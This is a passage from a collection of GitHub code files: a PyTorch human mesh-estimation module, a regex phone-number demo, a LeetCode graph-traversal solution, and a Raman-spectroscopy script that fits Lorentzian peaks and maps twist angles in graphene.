nn.Conv2d(self.in_channels, 1, 1, 1, 0)\n self.part_head = nn.Conv2d(self.in_channels, self.num_part, 1, 1, 0)\n # smpl mesh part\n self.kpts_head = nn.Conv2d(self.in_channels, self.num_keypoints*2, 1, 1, 0)\n param_out_dim = 24*6 + 10 + 3\n self.mesh_head = nn.Conv2d(self.in_channels, param_out_dim, 1, 1, 0)\n self.smpl_joint_select = [1, 2, 4, 5, 7, 8, 16, 17, 18, 19, 20, 21]\n self.coco_joint_select = [11, 12, 13, 14, 15, 16, 5, 6, 7, 8, 9, 10]\n\n # smpl layer\n h36m_jregressor = np.load('./model_files/J_regressor_h36m.npy')\n self.smpl = SMPL_layer(\n './model_files/basicModel_neutral_lbs_10_207_0_v1.0.0.pkl',\n h36m_jregressor=h36m_jregressor,\n dtype=torch.float32\n )\n self.focal = cfg.MODEL.get('FOCAL', 5000)\n self.camera_3d_size = cfg.MODEL.get('CAMERA_3D_SIZE', 2.5)\n\n # inference\n self.flip_test = cfg.TEST.FLIP_TEST\n self.max_proposals = cfg.TEST.MAX_PROPOSALS\n self.keypoint_thre = cfg.TEST.KEYPOINT_THRESHOLD\n self.pool_thre1 = cfg.TEST.POOL_THRESHOLD1\n self.pool_thre2 = cfg.TEST.POOL_THRESHOLD2\n \n def get_camera_trans(self, cam_param, h):\n # camera translation\n t_xy = cam_param[:,:2]\n gamma = torch.pow(1.1, cam_param[:, 2])\n # gamma = torch.sigmoid(cam_param[:,2]) # apply sigmoid to make it positive\n k_value = torch.FloatTensor([math.sqrt(self.focal*self.focal*self.camera_3d_size*self.camera_3d_size/(h*h))]).to(cam_param.device).view(-1)\n t_z = k_value * gamma\n cam_trans = torch.cat((t_xy, t_z[:,None]),1)\n return cam_trans\n\n def _make_transition_for_head(self, inplanes, outplanes):\n transition_layer = [\n nn.Conv2d(inplanes, outplanes, 1, 1, 0, bias=False),\n nn.BatchNorm2d(outplanes),\n nn.ReLU(True)\n ]\n return nn.Sequential(*transition_layer)\n\n def forward(self, features, batch_inputs=None, input_scale=1.0):\n pred_multi_heatmap = _sigmoid(self.heatmap_head(features))\n pred_multi_mask = self.mask_head(features).sigmoid()\n pred_multi_part = self.part_head(features)\n\n pred_offsets = self.kpts_head(features)\n pred_smplparam = self.mesh_head(features)\n locations = self.locations(pred_smplparam)[None, None]\n bs, c, h, w = features.shape\n pred_keypoints = locations - pred_offsets.reshape(bs, self.num_keypoints, 2, h, w)\n pred_keypoints = pred_keypoints.reshape(bs, self.num_keypoints*2, h, w)\n\n instances = {}\n H, W = pred_multi_heatmap.size()[2:]\n if self.flip_test:\n center_heatmap = pred_multi_heatmap[:, -1, :, :].mean(dim=0, keepdim=True)\n else:\n center_heatmap = pred_multi_heatmap[:, -1, :, :]\n\n center_pool = F.avg_pool2d(center_heatmap, 3, 1, 1)\n center_heatmap = (center_heatmap + center_pool) / 2.0\n maxm = self.hierarchical_pool(center_heatmap)\n maxm = torch.eq(maxm, center_heatmap).float()\n center_heatmap = center_heatmap * maxm\n scores = center_heatmap.view(-1)\n scores, pos_ind = scores.topk(self.max_proposals, dim=0)\n select_ind = (scores > (self.keypoint_thre)).nonzero()\n if len(select_ind) > 0:\n scores = scores[select_ind].squeeze(1)\n pos_ind = pos_ind[select_ind].squeeze(1)\n x = pos_ind % W\n y = (pos_ind / W).long()\n instance_coord = torch.stack((y, x), dim=1)\n instance_param = self._sample_feats(features[0], instance_coord)\n instance_imgid = torch.zeros(instance_coord.size(0), dtype=torch.long).to(features.device)\n if self.flip_test:\n instance_param_flip = self._sample_feats(features[1], instance_coord)\n instance_imgid_flip = torch.ones(instance_coord.size(0), dtype=torch.long).to(features.device)\n instance_coord = torch.cat((instance_coord, instance_coord), dim=0)\n instance_param = torch.cat((instance_param, instance_param_flip), dim=0)\n instance_imgid = torch.cat((instance_imgid, instance_imgid_flip), dim=0)\n \n pred_smplparam = pred_smplparam.permute(0, 2, 3, 1).reshape(bs*h*w, -1)\n pred_param = pred_smplparam[pos_ind]\n pred_pose_6d = pred_param[:, :24*6]\n pred_shape = pred_param[:, 24*6:24*6+10]\n pred_cam = pred_param[:, -3:]\n pred_pose_rotmat = rot6d_to_rotmat(pred_pose_6d.reshape(-1, 6)).reshape(-1, 24*9)\n pred_pose_axis = rotmat_to_axis_angle(pred_pose_rotmat.reshape(-1, 3, 3)).reshape(-1, 24*3)\n pred_outputs = self.smpl(pred_pose_axis.contiguous(), pred_shape)\n cam_trans = self.get_camera_trans(pred_cam, 512*input_scale)\n smpl_mesh_cam = pred_outputs.vertices + cam_trans[:, None, :]\n location = locations[0].permute(0, 2, 3, 1).reshape(bs*h*w, -1)[pos_ind].reshape(-1, 2) * 4 * input_scale\n\n instances['instance_coord'] = instance_coord\n instances['instance_imgid'] = instance_imgid\n instances['instance_param'] = instance_param\n instances['instance_score'] = scores\n instances['mesh'] = smpl_mesh_cam\n instances['location'] = location\n\n return instances\n \n def _sample_feats(self, features, pos_ind):\n feats = features[:, pos_ind[:, 0], pos_ind[:, 1]]\n return feats.permute(1, 0)\n\n def hierarchical_pool(self, heatmap):\n map_size = (heatmap.shape[1] + heatmap.shape[2]) / 2.0\n if map_size > self.pool_thre1:\n maxm = F.max_pool2d(heatmap, 7, 1, 3)\n elif map_size > self.pool_thre2:\n maxm = F.max_pool2d(heatmap, 5, 1, 2)\n else:\n maxm = F.max_pool2d(heatmap, 3, 1, 1)\n return maxm\n\n @torch.no_grad()\n def locations(self, features):\n h, w = features.size()[-2:]\n device = features.device\n shifts_x = torch.arange(0, w, dtype=torch.float32, device=device)\n shifts_y = torch.arange(0, h, dtype=torch.float32, device=device)\n shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n shift_x = shift_x.reshape(-1)\n shift_y = shift_y.reshape(-1)\n locations = torch.stack((shift_x, shift_y), dim=1) \n locations = locations.reshape(h, w, 2).permute(2, 0, 1)\n return locations\n\nclass GFD(nn.Module):\n def __init__(self, cfg):\n super().__init__()\n self.device = torch.device(cfg.MODEL.DEVICE)\n self.num_keypoints = cfg.DATASET.NUM_KEYPOINTS\n self.in_channels = cfg.MODEL.GFD.IN_CHANNELS\n self.channels = cfg.MODEL.GFD.CHANNELS\n self.out_channels = cfg.MODEL.GFD.OUT_CHANNELS\n assert self.out_channels == self.num_keypoints\n self.prior_prob = cfg.MODEL.BIAS_PROB\n self.num_part = 15\n\n self.conv_down = nn.Conv2d(self.in_channels, self.channels, 1, 1, 0)\n self.c_attn = ChannelAtten(self.in_channels, self.channels)\n self.s_attn = SpatialAtten(self.in_channels, self.channels)\n self.heatmap_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, self.out_channels, 1, 1, 0)\n )\n self.mask_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, 1, 1, 1, 0)\n )\n self.part_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, self.num_part, 1, 1, 0)\n )\n\n def forward(self, features, instances):\n global_features = self.conv_down(features)\n instance_features = global_features[instances['instance_imgid']]\n instance_params = instances['instance_param']\n c_instance_feats = self.c_attn(instance_features, instance_params)\n s_instance_feats = self.s_attn(instance_features, instance_params, instances['instance_coord'])\n cond_instance_feats = torch.cat((c_instance_feats, s_instance_feats), dim=1)\n \n pred_instance_heatmaps = _sigmoid(self.heatmap_head(cond_instance_feats))\n pred_instance_masks = self.mask_head(cond_instance_feats).sigmoid()\n pred_instance_parts = self.part_head(cond_instance_feats)\n\n return pred_instance_heatmaps, pred_instance_masks, F.softmax(pred_instance_parts, dim=1)\n\nclass ChannelAtten(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(ChannelAtten, self).__init__()\n self.atn = nn.Linear(in_channels, out_channels)\n\n def forward(self, global_features, instance_params):\n B, C, H, W = global_features.size()\n instance_params = self.atn(instance_params).reshape(B, C, 1, 1)\n return global_features * instance_params.expand_as(global_features)\n\nclass SpatialAtten(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(SpatialAtten, self).__init__()\n self.atn = nn.Linear(in_channels, out_channels)\n self.feat_stride = 4\n conv_in = 3\n self.conv = nn.Conv2d(conv_in, 1, 5, 1, 2)\n\n def forward(self, global_features, instance_params, instance_inds):\n B, C, H, W = global_features.size()\n instance_params = self.atn(instance_params).reshape(B, C, 1, 1)\n feats = global_features * instance_params.expand_as(global_features)\n fsum = torch.sum(feats, dim=1, keepdim=True)\n input_feats = fsum\n locations = compute_locations(global_features.size(2), global_features.size(3), stride=1, device=global_features.device)\n n_inst = instance_inds.size(0)\n H, W = global_features.size()[2:]\n instance_locations = torch.flip(instance_inds, [1])\n instance_locations = instance_locations\n relative_coords = instance_locations.reshape(-1, 1, 2) - locations.reshape(1, -1, 2)\n relative_coords = relative_coords.permute(0, 2, 1).float()\n relative_coords = (relative_coords / 32).to(dtype=global_features.dtype)\n relative_coords = relative_coords.reshape(n_inst, 2, H, W)\n input_feats = torch.cat((input_feats, relative_coords), dim=1)\n mask = self.conv(input_feats).sigmoid()\n return global_features * mask\n\ndef compute_locations(h, w, stride, device):\n shifts_x = torch.arange(\n 0, w * stride, step=stride,\n dtype=torch.float32, device=device\n )\n shifts_y = torch.arange(\n 0, h * stride, step=stride,\n dtype=torch.float32, device=device\n )\n shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n shift_x = shift_x.reshape(-1)\n shift_y = shift_y.reshape(-1)\n locations = torch.stack((shift_x, shift_y), dim=1) + stride // 2\n return locations\n\nclass Block(nn.Module):\n def __init__(self, inplanes, planes):\n super(Block, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, 1, 1, 0)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = nn.Conv2d(inplanes, planes, 1, 1, 0)\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.relu(out)\n\n out = self.conv2(out)\n\n out += residual\n out = self.relu(out)\n\n return out","repo_name":"kennethwdk/HumVis","sub_path":"humvis/cid_module.py","file_name":"cid_module.py","file_ext":"py","file_size_in_byte":12149,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"150248851","text":"import re\n\npattern = re.compile(r'\\d{3} \\d{3}-\\d{4}')\n\n\nres = pattern.search('Call me at 515 555-4242!')\n\nres2 = pattern.findall('Call me at 515 555-4242! or 534 678-7272')\n\nprint(res.group())\n\nprint(res2)\n\nresponse3 = re.search(r'\\d{3} \\d{3}-\\d{4}', 'Calm down folks and call 675 134-9090')\n\nprint(response3.group())\n\n\n","repo_name":"bhokumar/python-apps","sub_path":"initial-project/regex/regex_example1.py","file_name":"regex_example1.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43381938188","text":"# 841. Keys and Rooms\n\nclass Solution:\n def canVisitAllRooms(self, rooms: List[List[int]]) -> bool:\n stack = collections.deque()\n visited = set()\n\n if len(rooms) == 0:\n return False\n\n if len(rooms) == 1:\n return True\n\n stack.append(0)\n\n while stack:\n target = stack.pop()\n visited.add(target)\n\n for t in rooms[target]:\n if t not in visited:\n stack.append(t)\n\n if len(visited) != len(rooms):\n return False\n\n else:\n return True\n\n\n\n\n","repo_name":"yunnyang/Practice_Code","sub_path":"medium/leetCode841.py","file_name":"leetCode841.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24978045013","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Aaron\n@date: 2023/06/19\n@github: https://github.com/AaronSchaepers/twist-angle-analysis\n\nPREPARATION\n\n Export Raman maps from ProjectFive as .txt by choosing \"Table\" in the\n export menu. Set the spectral unit to \"rel. 1/cm\".\n Also, make sure the file \"phondis_graphene.dat\" is located in the same \n directory as this code.\n\n\nhiHOW TO USE THIS CODE\n\n As you scroll down, you will see that this code has four sections:\n 1. User input section\n 2. Advanced user input section\n 3. Don't touch section A (functions)\n 4. Don't touch section B (code execution)\n \n As a user, here is what you have to do to analyse your Raman Scan:\n \n 1. User input section:\n - Provide the required information about the scan (see comments)\n - Choose which peaks to fit, wether to load old fitresults, and which\n peaks to map\n - Run this code to start the fitting and mapping, or proceed to the\n\n 2. Advanced user input section:\n - For each peak, set the starting parameters for the Lorentzian fit\n - For each fitting parameter and each peak, define a threshold interval\n within which the fit results are accepted as realistic.\n - Run this code to start the fitting and mapping procedure\n \n The default initial and threshold values give good results for the TA, G, \n LO and 2D peak. You might want to save them by commenting them out if you \n change them so they don't get lost.\n\n Here is what the code does, depending on your input:\n \n 1. If fitting is activated:\n - Import the Raman raw data you specified\n - Perform Lorentzian fits to all the peaks you selected (a single fit\n for each peak)\n - Export a pickle file that contains all relevant data required to later\n reproduce the fitresults: x (1D array) and y (3D array) raw data of the Raman \n scan, a dictionnary containing all the preferences from the user \n input sections, the fitresults (3D array), the corresponding standard\n deviations (3D array) and a fiterrors array (2D) that documents where\n and why certain fits failed. This file is stored in the same directory\n that contains the original raw data.\n \n 2. If loading an olf fit is activated:\n - Import the raw data and results of a previously saved fit so that \n they are available for the plotting routine\n \n 3. If mapping is activated:\n - Take the fit results and export maps of intensity, position and \n linewidth for all selected peaks. If the TA peak is selected, the \n twist angle and its gradient are also included. They are saved in the \n same directory where the original raw data is stored.\n stored.\n - Open an interactive window ONLY FOR THE LAST SELECTED PEAK. \n The interactive window shows the maps of intensity, position and linewidth.\n Furthermore, you can double-click in any of these maps and it will show the\n Raman spectrum and fit in this data point. This is very helpful when it \n comes to check the quality of the fits and finding the right threshold \n parameters that serve to exclude faulty spectra.\n \n \nIDEAS FOR FUTURE FEATURES\n - Use the threshold dynamically in the interactive plot\n - Make one interactive map per peak \n - Disable intensity threshold, at least upper bound, because the max int \n values depend heavily on the integration time\n - Export pdfs with dpi = 800 directly from interactive plot\n - Progress bars\n\"\"\"\n\nimport pickle\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nfrom numpy import pi, arcsin, sqrt\nfrom scipy.optimize import curve_fit\nfrom scipy.interpolate import interp1d\n\na = 0.246 # Graphene lattice constant in nm\n\n\n###############################################################################\n\"\"\" 1. User input \"\"\"\n###############################################################################\n\n# Directory of the Raman data\nfolder = \"/Users/Aaron/Desktop/Code/Test_data\" \n\n# Name of the .txt file containing the Raman data, given with suffix\nfile = \"test_data_100x100.txt\" \n\n# In 1/cm, any spectral range without Raman features. This is used to calculate \n# the mean background noise which is subtracted from the data.\nspectral_mean_range = (350, 450) \n\nsize_px = (100, 100) # Size of the Scan in pixels\nsize_um = (7, 7) # Size of the Scan in µm\n\n# When importing new Raman raw data: Which peaks shall be fitted?\nb_fit_TA = False\nb_fit_G = False\nb_fit_LO = False\nb_fit_2D = False\n\n# When loading the results from an old fit: Which peaks shall be loaded?\nb_load_TA = True\nb_load_G = False\nb_load_LO = False\nb_load_2D = False\n\n# Which peaks shall be mapped?\nb_map_TA = True\nb_map_G = False\nb_map_LO = False\nb_map_2D = False\n\n\n###############################################################################\n\"\"\" 2. Advanced user input \"\"\"\n###############################################################################\n\n# Starting parameters for Lorentzian peak fits in the order:\n# Offset, intensity, linewidth.\n# The starting value for the position is determined dynamically\nstartparams_TA = [0, 250, 3]\nstartparams_G = [0, 8E3, 13]\nstartparams_LO = [0, 5E3, 5]\nstartparams_2D = [0, 2E4, 22]\n\n# Threshold parameters for excluding implausible fit results\n# NOTE: These are not boundary values for the fitting routine!\n# Instead, the best fit parameters of each spectrum are compared to these \n# threshold intervals. If any parameter lies outside of its threshold\n# interval, the corresponding data point is excluded from the map.\n\nthresh_TA_c = [20, 6000] # Intensity\nthresh_TA_x0 = [250, 275] # Position\nthresh_TA_lw = [0.4, 18] # Linewidth\n\nthresh_G_c = [1E3, 6E4] # Intensity\nthresh_G_x0 = [1577, 1595] # Position\nthresh_G_lw = [8, 30] # Linewidth\n\nthresh_LO_c = [300, 1E5] # Intensity\nthresh_LO_x0 = [1610, 1630] # Position\nthresh_LO_lw = [0.8, 30] # Linewidth\n\nthresh_2D_c = [1E3, 1E7] # Intensity\nthresh_2D_x0 = [2650, 2710] # Position\nthresh_2D_lw = [14, 60] # Linewidth\n\nmax_gradient = 1 # °/µm, upper bound for the twist angle gradient map. Larger\n # values will be excluded from the map.\n \n# Colorbar ranges for all mapped parameters in the form (minimum, maximum).\n# If left blank, no colorscale range will be specified in the respective plot.\ncrange_TA_int = (10, 500)\ncrange_TA_pos = (250, 275)\ncrange_TA_lw = (0, 14)\ncrange_G_int = ()\ncrange_G_pos = ()\ncrange_G_lw = ()\ncrange_LO_int = ()\ncrange_LO_pos = ()\ncrange_LO_lw = ()\ncrange_2D_int = ()\ncrange_2D_pos = ()\ncrange_2D_lw = ()\ncrange_theta = ()\ncrange_grad_theta = ()\n\n\n###############################################################################\n\"\"\" 3. Don't touch section A (functions) \"\"\"\n###############################################################################\n\n\n###############################################################################\n# 3.1 Functions for importing and exporting data \n###############################################################################\n\n\"\"\" Read Raman scan data from .txt file, set baseline to zero \"\"\"\ndef read_raman_scan(folder, file, size_px, spectral_mean_range):\n nx, ny = size_px # Size of the scan in pixels\n \n # A tuple of strings with 1600 entries, i.e., one entry per CCD pixel, i.e., one entry\n # per data point in the Raman spectrum.\n # Each of the 1600 strings is a succession of numbers giving the CCD counts\n # on the corresponding pixel for all the spatial data points measured in the scan.\n lines = tuple(open(folder + \"/\"+ file, 'r')) \n \n # A list containing 1600 sublists corresponding to the 1600 CCD pixels.\n # Each sublist contains nx*ny strings giving the the CCD counts on that \n # pixel for all the spatial data points.\n data_str = [x.split('\\t') for x in lines]\n \n # A list containing nx*ny+1 sublists with 1600 entries each. The first list \n # contains the wave numbers, the other lists are the measured spectra.\n data_float = np.array(data_str, dtype=float).T\n \n xlist = data_float[0].copy() # Extract first row which contains the x-data\n data_float = np.delete(data_float, 0, axis=0) # Remove the first row from data_float\n \n # A 3D array with the size nx*ny*1600, i.e., the first two axes correspond\n # to the x and y axes of the scan and the spectra will be stacked along the\n # third axis.\n data = np.zeros((ny,nx,len(data_str)))\n \n # Get indices of the averaging interval for baseline shifting\n i_xmin_mean = np.abs(xlist - spectral_mean_range[0]).argmin()\n i_xmax_mean = np.abs(xlist - spectral_mean_range[1]).argmin()\n \n # Scan over all spatial data points\n x,y = 0,0\n for i in range(nx*ny):\n # Calculate the average CCD counts in a range without peaks\n ymean = np.mean(data_float[i, i_xmin_mean:i_xmax_mean])\n # Subtract that average from the entire spectrum and stack the spectrum\n # into the data array\n data[y,x] = [y-ymean for y in data_float[i]] \n\n x = x+1\n if x == nx:\n y = y+1\n x = 0\n \n # Convert xlist to array for more efficient function evaluation\n xdata = np.asarray(xlist)\n \n return(xdata, data)\n\n\n###############################################################################\n# 3.2 Functions for the fitting procedure \n###############################################################################\n\n\"\"\" Lorentzian as used in spectroscopy \"\"\"\ndef lorentzian(x, b, c, x0, lw):\n f = b + c / pi * (lw/2) / ((x-x0)**2 + (lw/2)**2)\n return(f)\n \n\n\"\"\" Jacobian matrix of the Lorentzian as defined above \"\"\"\ndef jacobian(x, b, c, x0, lw):\n # Define partial derivatives\n Ldiffb = np.ones(x.shape)\n Ldiffc = lw / pi / ((x-x0)**2 + lw**2)\n Ldiffx0 = c / pi * 2 * lw * (x-x0) / ((x-x0)**2 + lw**2)**2\n Ldifflw = c / pi * (1 / ((x-x0)**2 + lw**2) - 2 * lw**2 / ((x-x0)**2 + lw**2)**2 )\n jac = np.stack((Ldiffb, Ldiffc, Ldiffx0, Ldifflw)).T\n return(jac)\n\n\n\"\"\" Perform a Lorentzian fit across a map of spectra \"\"\"\ndef fit_to_map(xdata, data, pdict):\n \n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n fitrange = pdict[\"fitrange\"] # Spectral range for the fit\n p0 = pdict[\"startparams\"] # Starting values\n \n # Create arrays to store the fit results\n fitresults = np.zeros((ny,nx,4)) # Array with (b, c, x0, lw) for each x/y-datapoint in which fit was successful\n fitresults_std = np.zeros((ny,nx,4)) # Array with the uncertainties of the fit results\n fiterrors = np.zeros((ny,nx), dtype= \"object\") # Array with inormation if and why the fit failed for each x/y-datapoint\n\n # This expression searches the xlist for the wave number values \n # closest to the chosen fitrange and retrieves their indexes\n i_start = np.abs(xdata - fitrange[0]).argmin()\n i_stop = np.abs(xdata - fitrange[1]).argmin()\n \n # Slice xdata to keep only the relevant peak\n xdata_fit = xdata[i_start:i_stop]\n \n # Define boundaries to speed up the fitting routine\n # b c x0 lw\n lbounds = np.array((-np.inf, 0, 0, 0))\n ubounds = np.array((np.inf, np.inf, np.inf, np.inf))\n \n print(\"Fitting progress:\")\n for x in range(nx):\n progress = np.round(x/nx*100, 1)\n print(f\"{progress}%\")\n for y in range(ny):\n \n # Retrieve the spectrum of the current scan data point\n ydata = data[y,x]\n \n # Slice ydata to keep only the relevant peak\n ydata_fit = ydata[i_start:i_stop]\n \n # Determine highest data point, use position as x0 starting value\n p0[2] = xdata_fit[np.argmax(ydata_fit)]\n \n # Try to perform the fit\n try:\n popt, pcov = curve_fit(lorentzian, xdata_fit, ydata_fit, p0, bounds=(lbounds, ubounds), jac=jacobian)\n popt_std = np.sqrt(np.diag(pcov))\n \n # Check if any fit results contain NaN values\n if np.isnan(popt).any() or np.isnan(popt_std).any():\n fiterrors[y, x] = \"NaN\"\n continue\n # If not: write best fit parameters into the fitresults\n else:\n fitresults[y,x] = popt\n fitresults_std[y,x] = popt_std\n \n # If the fit fails, put a note in the fitresults array and proceed. \n except: \n fiterrors[y, x] = \"fit fail\"\n \n return(fitresults, fitresults_std, fiterrors)\n\n\n\n###############################################################################\n# 3.3 Functions for the mapping \n###############################################################################\n\n\"\"\" Map the intensity, position and linewidth of a given peak \"\"\"\ndef map_lorentz_parameters(fitresults, fiterrors, pdict, folder):\n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n peakname = pdict[\"peakname\"] # Name of the peak\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] # Threshold interval for each parameter\n crange_int = pdict[\"crange_int\"] # Colorbar range of intensity\n crange_pos = pdict[\"crange_pos\"] # Colorbar range of position\n crange_lw = pdict[\"crange_lw\"] # Colorbar range of linewidth\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, :, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask in 2D\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to fitresults\n fitresults_ma = np.ma.masked_array(fitresults, mask=np.broadcast_to(mask[:, :, np.newaxis], fitresults.shape))\n\n # The mapped quantities\n quantities = [\"intensity\", \"position\", \"linewidth\"]\n # Their units\n cbar_labels = [\"Intensity (arb. u.)\", r\"$\\omega$ (1/cm)\", r\"$\\Gamma$ (1/cm)\"]\n \n # Put cranges in list so they can be looped\n cranges = [crange_int, crange_pos, crange_lw] \n \n # In a loop, plot peak intensity, position and linewidth\n for i in range(3):\n # The first plt.close() avoids funny interactions with the interactive plot\n plt.close()\n # In these lines, i = i+1 to skip the first parameter which is the offset.\n # If a colorbar range was specified, use it.\n if cranges[i] != ():\n im = plt.imshow(fitresults_ma[:,:,i+1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=cranges[i][0], vmax=cranges[i][1])\n else:\n im = plt.imshow(fitresults_ma[:,:,i+1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\")\n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(peakname + \" \" + quantities[i])\n plt.colorbar(im, label=cbar_labels[i])\n plt.savefig(folder+\"/\"+peakname + \"_\" + quantities[i]+\".pdf\", format=\"pdf\", dpi=300)\n plt.savefig(folder+\"/\"+peakname + \"_\" + quantities[i]+\".svg\", format=\"svg\", dpi=300)\n plt.close()\n\n return()\n\n\n\"\"\" Apply a moving average window [size (2s+1)*(2s+1)] to a masked 2D array \"\"\"\ndef moving_2D_average(data, s):\n # Extract size of the data array\n ny,nx = data.shape\n # Create empty masked array to store the averaged data, with the mask set\n # to False (0) everywhere\n data_av = np.ma.array(np.zeros((ny,nx)), mask = np.zeros((ny,nx)))\n \n # Scan over the array, avoiding the array edges so far as to always have s \n # neighbours around each data point in which a gradient is computed\n for x in range(nx-2*s):\n x = x+s\n \n for y in range(ny-2*s):\n y = y+s\n fitfails = 0\n \n # Scan over the viscinity of the current data point, considering a\n # square with side length 2s+1.\n dividend = 0\n divisor = 0\n for i in range(-s, s+1): # s+1 makes sure that i=(-1,0,1) if s=1\n for j in range(-s, s+1):\n \n # If the current viscinity data point is masked, raise the\n # counter of fit fails\n if data.mask[y+j, x+i] == True:\n fitfails += 1\n continue\n \n # If the current viscinity data point is not masked,\n # include its value into the calculation of the local \n # average.\n else:\n value = data[y+j, x+i]\n # The viscinity data points are weighted with\n # 1 / their distance to the current data point (the one \n # the average is calculated for). The current data\n # point itself gets a weight of 1.\n if i==0 and j==0:\n weight = 1\n else:\n weight = 1/sqrt(i**2 + j**2)\n \n dividend += value*weight\n divisor += weight\n \n # If at the end there have been <= 3 fitfails, calculate average\n if fitfails <= 3:\n data_av[y,x] = dividend/divisor\n \n # Otherwise, mask the current data point\n else:\n data_av.mask[y,x] = True\n \n # Apply mask around the edge where no average value was calculated\n data_av.mask[0:s,:] = 1\n data_av.mask[-s:,:] = 1\n data_av.mask[:,0:s] = 1\n data_av.mask[:,-s:] = 1\n \n return(data_av) \n\n\n\"\"\" Do the twist angle related maps \"\"\"\ndef map_theta(fitresults, fiterrors, pdict, folder):\n \n ############################### Part 1 ####################################\n # Create a function that converts the TA peak position to the twist angle #\n ###########################################################################\n \n # Load phonon dispersion\n dispersion = np.loadtxt(\"phondis_graphene.dat\")\n \n # Extract the dispersion of the TA branch\n # Use only the K-to-Gamma data (137:237)\n # Invert list to get Gamma-K instead of K-Gamma\n start, stop = 137, 237\n ta_branch = dispersion[start:stop,2][::-1]\n \n # This is the distance Gamma-K in units of the graphene lattice constant a\n gamma, k = 0, 4*pi/3/a\n # Create an array of crystal momenta from Gamma to K\n crystal_momentum = np.linspace(gamma, k, stop-start)\n \n # Convert crystal momenta to corresponding twist angles using the geometric\n # expression given in http://dx.doi.org/10.1021/nl201370m\n theta_deg = np.degrees(2*arcsin(sqrt(3)*a/8/pi*crystal_momentum))\n\n # Use scipy interpolation to create a function of the twist angle as a \n # function of the phonon frequency, i.e., the TA peak position\n TA_position_to_theta = interp1d(ta_branch, theta_deg, kind=\"cubic\")\n \n \n ############################### Part 2 ####################################\n # Using the function from part 1, map the twist angle #\n ###########################################################################\n \n # Retrieve required variables from the peak dictionary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] \n crange_theta = pdict[\"crange_theta\"] # Colorbar range of twist angle\n crange_grad_theta = pdict[\"crange_grad_theta\"] # Colorbar range of twist angle gradient\n \n # Create an array of TA position values where all values above the \n # interpolation range maximum (748 1/cm) are replaced by a dummy value of 0\n posTA_cutoff = np.where(fitresults[:,:,2] > 748, 0, fitresults[:,:,2])\n \n # Calculate the twist angle array\n theta = TA_position_to_theta(posTA_cutoff)\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, :, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to theta\n theta_ma = np.ma.masked_array(theta, mask=mask)\n \n # Map the twist angle\n # Check if colorbar ranges were specified, if so: Apply them. \n if crange_theta != ():\n im = plt.imshow(theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_theta[0], vmax=crange_theta[1])\n else:\n im = plt.imshow(theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\")\n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(\"Twist angle\")\n plt.colorbar(im, label=r\"$\\vartheta_{TA}$ (°)\")\n plt.savefig(folder + \"/\" + \"twist_angle.pdf\", format=\"pdf\", dpi=300)\n plt.savefig(folder + \"/\" + \"twist_angle.svg\", format=\"svg\", dpi=300)\n plt.close()\n \n \n ############################### Part 2 ####################################\n # Calculate and map the twist angle gradient #\n ###########################################################################\n \n # Retrieve required variables from the peak dictionary\n max_gradient = pdict[\"max_gradient\"] # °/µm, maximum gradient value in the map\n \n # Calculate the twist angle gradient in x and y direction\n gradient_x, gradient_y = np.gradient(theta_ma, edge_order=1)\n \n # Calculate the moving average of gradient in x and y direction\n gradient_x_av = moving_2D_average(gradient_x, s=1)\n gradient_y_av = moving_2D_average(gradient_y, s=1)\n \n # Calculate absolute value of the gradient\n grad_theta_ma = np.sqrt(gradient_x_av**2 + gradient_y_av**2)\n \n # Divide numerical gradient by step size to convert in 